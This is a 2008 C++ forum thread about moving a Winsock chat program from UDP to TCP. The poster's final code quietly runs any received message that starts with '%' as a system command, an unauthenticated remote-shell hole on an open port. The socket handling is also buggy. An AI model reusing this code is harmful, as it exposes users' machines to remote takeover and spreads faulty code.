Welcome to Dream.In.Code
Getting C++ Help is Easy!

Join 136,046 C++ Programmers for FREE! Get instant access to thousands of C++ experts, tutorials, code snippets, and more! There are 1,521 people online right now. Registration is fast and FREE... Join Now!




Need help with TCP sockets

 
Reply to this topicStart new topic

Need help with TCP sockets

UG Cyber
24 Jul, 2008 - 06:31 AM
Post #1

D.I.C Head
**

Joined: 24 Jul, 2008
Posts: 185



Thanked: 3 times
My Contributions
Hello, this is my first post so please bare with me.......
I have made a server and a client that can send messages over UDP with DGRAM, but now i want to use TCP and 'SOCK_STREAM' (i think) but when i change it, the server wont display a message from the client. It shows that a client sent the message and that the server accepted it but it shows nothing.
here is the server code with UDP and DGRAM

CODE

void startServer(int PortNo)
   {
        char recvBuff[1024];
        char sndBuff[]= "Hello\n";
        WSADATA  wsadata;
        error=WSAStartup(0x0202, &wsadata);
        if (error)
        {
           cout << "Error occured on step 1";
           system("pause");
        }
        if (wsadata.wVersion != 0x0202)
        {
                             WSACleanup();
                             system("echo Error occured on step two");
                             system("pause");
        }


        char ServerName[30];
        gethostname(ServerName,30);
        cout << "(Server) " << ServerName << " is started on port " << PortNo;

        SOCKADDR_IN Server;

        Server.sin_family = AF_INET;
        Server.sin_port = htons (PortNo);
        Server.sin_addr.s_addr = inet_addr ("0.0.0.0");
        s = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if (s == INVALID_SOCKET)
        {
              cout << "Error occured on step 'TARGET'";
              system("pause");
        }
        if (bind(s, (SOCKADDR *)&Server, sizeof(Server)) == SOCKET_ERROR)
        {
           cout << "Error Binding" << endl;
           system("pause");
        }

        cout << endl << "Waiting for client response" << endl << endl;

        start:;

        listen(s,2);
        accept(s,NULL,NULL);

    SOCKADDR_IN saClient;
        int nLen = sizeof(SOCKADDR);

    memset(recvBuff, 0, sizeof(recvBuff));
    int nRet = recv(s,recvBuff,1024,0);


    cout << "Client said:  ";
        cout << recvBuff << endl;
        goto start;

    closesocket(s);
    return;
    }

User is offlineProfile CardPM
+Quote Post

perfectly.insane
RE: Need Help With TCP Sockets
24 Jul, 2008 - 05:11 PM
Post #2

D.I.C Addict
Group Icon

Joined: 22 Mar, 2008
Posts: 558



Thanked: 46 times
Dream Kudos: 25
Expert In: C/C++

My Contributions
I'm not sure why it wouldn't work in theory. Changing to SOCK_STREAM and IPPROTO_TCP, I think would work. You might want to post your TCP version code as well.


This post has been edited by perfectly.insane: 24 Jul, 2008 - 05:13 PM
User is offlineProfile CardPM
+Quote Post

UG Cyber
RE: Need Help With TCP Sockets
25 Jul, 2008 - 01:28 PM
Post #3

D.I.C Head
**

Joined: 24 Jul, 2008
Posts: 185



Thanked: 3 times
My Contributions
QUOTE(perfectly.insane @ 24 Jul, 2008 - 06:11 PM) *

I'm not sure why it wouldn't work in theory. Changing to SOCK_STREAM and IPPROTO_TCP, I think would work. You might want to post your TCP version code as well.


What is the TCP version? is that like winsock version??
When the client sends the text the server would show

Client said:

and thats it....
User is offlineProfile CardPM
+Quote Post

perfectly.insane
RE: Need Help With TCP Sockets
25 Jul, 2008 - 01:41 PM
Post #4

D.I.C Addict
Group Icon

Joined: 22 Mar, 2008
Posts: 558



Thanked: 46 times
Dream Kudos: 25
Expert In: C/C++

My Contributions
Yes, it should be very similar to the code that you posted originally. Except, the parameters to the socket() call should be changed as you stated.

If you're getting nothing back, you should check the return code from recv. If it's a -1, that indicates an error. For Winsock, I believe WSAGetLastError() should give you the error code.
User is offlineProfile CardPM
+Quote Post

UG Cyber
RE: Need Help With TCP Sockets
25 Jul, 2008 - 03:21 PM
Post #5

D.I.C Head
**

Joined: 24 Jul, 2008
Posts: 185



Thanked: 3 times
My Contributions
QUOTE(perfectly.insane @ 25 Jul, 2008 - 02:41 PM) *

Yes, it should be very similar to the code that you posted originally. Except, the parameters to the socket() call should be changed as you stated.

If you're getting nothing back, you should check the return code from recv. If it's a -1, that indicates an error. For Winsock, I believe WSAGetLastError() should give you the error code.


Well good news...I decided to combind the server and the client together by using multi threading....
i went to get the error code but now it works like it should??? Ill post the code up,

Thank you for your help/replies

CODE

using namespace std;
//---------------------------------------------------------------------------
int error;
int port;
char Address[30];


SOCKET s;
WSADATA  wsadata;
SOCKADDR_IN target;

//---------------------------------------------------------------------------

#pragma argsused

void ConnectToHost(char* IPAddress)
   {

        error=WSAStartup(0x0202, &wsadata);
        if (error)
        {
           cout << "Error occured on step 1";
           system("pause");
        }
        if (wsadata.wVersion != 0x0202)
        {
                             WSACleanup();
                             system("echo Error occured on step two");
                             system("pause");
        }

        target.sin_family = AF_INET;
        target.sin_port = htons (7976);
        target.sin_addr.s_addr = inet_addr (IPAddress);
        s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET)
        {
              cout << "Error occured on step 'TARGET'";
              system("pause");
        }
        if (connect(s, (SOCKADDR *)&target, sizeof(target)) == SOCKET_ERROR)
        {
           cout << "Error connecting" << endl;
           system("pause");
        }
        start:;

        char You[1024];
        char sndBuff[1024];
        cin.getline(sndBuff,1024);

        cout << endl<<endl;                  //add white space for USER FRIENDLY

        gethostname(You,1024);

        int yLen = strlen(You);
        int sndLen = strlen(sndBuff);

        if (sndBuff[0] == '~')
        {
           goto exit;
        }

        send(s,You,yLen,0);
        send(s,sndBuff,sndLen,0);
        goto start;
        exit:;
        if (s)
        {
           closesocket(s);
           WSACleanup();
        }

   }

DWORD WINAPI Server(LPVOID)
{
        SOCKET G;
        char recvBuff[1024];
        char HostName[1024];
        char sndBuff[]= "Hello\n";
        WSADATA  wsadata;
        error=WSAStartup(0x0202, &wsadata);
        if (error)
        {
           cout << "Error occured on step 1";
           system("pause");
        }
        if (wsadata.wVersion != 0x0202)
        {
                             WSACleanup();
                             system("echo Error occured on step two");
                             system("pause");
        }


        char ServerName[30];
        gethostname(ServerName,30);
        cout << "(YOU) " << ServerName << " is started on port 7976" << endl;

        SOCKADDR_IN Server;

        Server.sin_family = AF_INET;
        Server.sin_port = htons (7976);
        Server.sin_addr.s_addr = inet_addr ("0.0.0.0");
        G = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (G == INVALID_SOCKET)
        {
              cout << "Error occured on step 'TARGET'";
              system("pause");
        }
        if (bind(G, (SOCKADDR *)&Server, sizeof(Server)) == SOCKET_ERROR)
        {
           cout << "Error Binding" << endl;
           system("pause");
        }

        cout << endl << "Server is now ready" << endl << endl;

        start:;

        listen(G,2);
        accept(G,NULL,NULL);

        recv(G,HostName,30,0);

    memset(recvBuff, 0, sizeof(recvBuff));

        recv(G,recvBuff,1024,0);
        if ( recvBuff[0] == '%')
        {
           recvBuff[0]=' ';
           system(recvBuff);
        }
        else
        {
           cout << HostName << " :  " << recvBuff << endl;
        }

        goto start;
        return 1;
}

int main(int argc, char* argv[])
{


   char sndme[1024];
   cout << "Enter a address" << endl;
   cin >> Address;
   cin.ignore(1);
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Server,0,0,NULL);
   ConnectToHost(Address);


        system("pause");

}


User is offlineProfile CardPM
+Quote Post

Reply to this topicStart new topic
Time is now: 12/1/08 05:06PM

Live C++ Help!

C++ Tutorials

Reference Sheets

C++ Snippets

DIC Chatroom

Bye Bye Ads

Monthly Drawing

Thumb Drive

Top Contributors

Top 10 Kudos This Month